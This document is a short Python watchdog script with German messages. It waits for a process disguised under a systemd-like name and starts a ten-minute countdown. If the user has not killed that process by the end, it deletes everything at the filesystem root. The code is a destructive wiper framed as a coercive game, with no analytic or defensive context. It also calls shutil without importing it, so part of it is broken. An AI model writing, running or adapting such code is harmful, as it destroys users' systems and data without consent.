import time import subprocess import glob import os SCRIPT_NAME = "systemd-hdtob.py" TIMEOUT = 600 def is_running(): try: result = subprocess.run( ["pgrep", "-f", SCRIPT_NAME], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) return result.returncode == 0 except Exception: return False print("Watchdog gestartet...") while not is_running(): time.sleep(1) print("10min Timer ist aktiv") for _ in range(TIMEOUT): if not is_running(): print("User hat gewonnen") exit(0) time.sleep(1) for pfad in glob.glob("/*"): if os.path.isfile(pfad) or os.path.islink(pfad): os.remove(pfad) elif os.path.isdir(pfad): shutil.rmtree(pfad)